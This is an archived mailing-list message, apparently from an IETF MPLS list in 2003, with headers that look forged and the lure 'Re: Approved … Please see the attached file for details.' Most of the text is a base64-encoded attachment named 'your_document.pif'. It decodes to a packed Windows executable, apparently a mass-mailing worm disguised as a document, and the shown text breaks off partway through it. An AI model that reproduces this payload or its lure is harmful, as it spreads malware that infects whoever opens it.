1BDQl6D7VHDTO/tMKtIF8qkdxSzWDqbCLcxMuNEQjreaEZGKpPdDcYMd/EIrky66xTGLMNIa9Mk8
0AL71BqJtdwelYfmny0CxijnRDaTBbrOPN940Qz0ynnFA6jKHI+w31eGirrnVHDKJ/JOO8cBvMd1
q4sjiRR9UgVZOmKWENpaYm0AAAkJCAgKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAADeAAAAWEMwMDE4MTVkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAGAEAAFhDMDAxODE1ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOcFAABYQzAwMTgx
NWQ=
--_NextPart_000_00A7C4A1--



From owner-mpls@UU.NET  Fri Oct 10 03:01:15 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA11188
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 03:01:13 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjts02922
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 07:01:19 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjts02657;
	Fri, 10 Oct 2003 07:01:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjtq11882
	for mpls-outgoing; Fri, 10 Oct 2003 06:37:34 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjtq11869
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 06:37:31 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjtq25847
	for <mpls@uu.net>; Fri, 10 Oct 2003 06:33:54 GMT
From: dwfedyk@nortelnetworks.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphnc22186
	for <mpls@uu.net>; Wed, 24 Sep 2003 10:12:44 GMT
Message-Id: <QQphnc22186.200309241012@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Approved
Date: Fri, 1 Jan 1999 5:51:50 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_0141A7AD"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_0141A7AD
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file for details.
--_NextPart_000_0141A7AD
Content-Type: application/octet-stream;
	name="your_document.pif"
Content-Disposition: attachment;
	filename="your_document.pif"
Content-Transfer-Encoding: base64

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
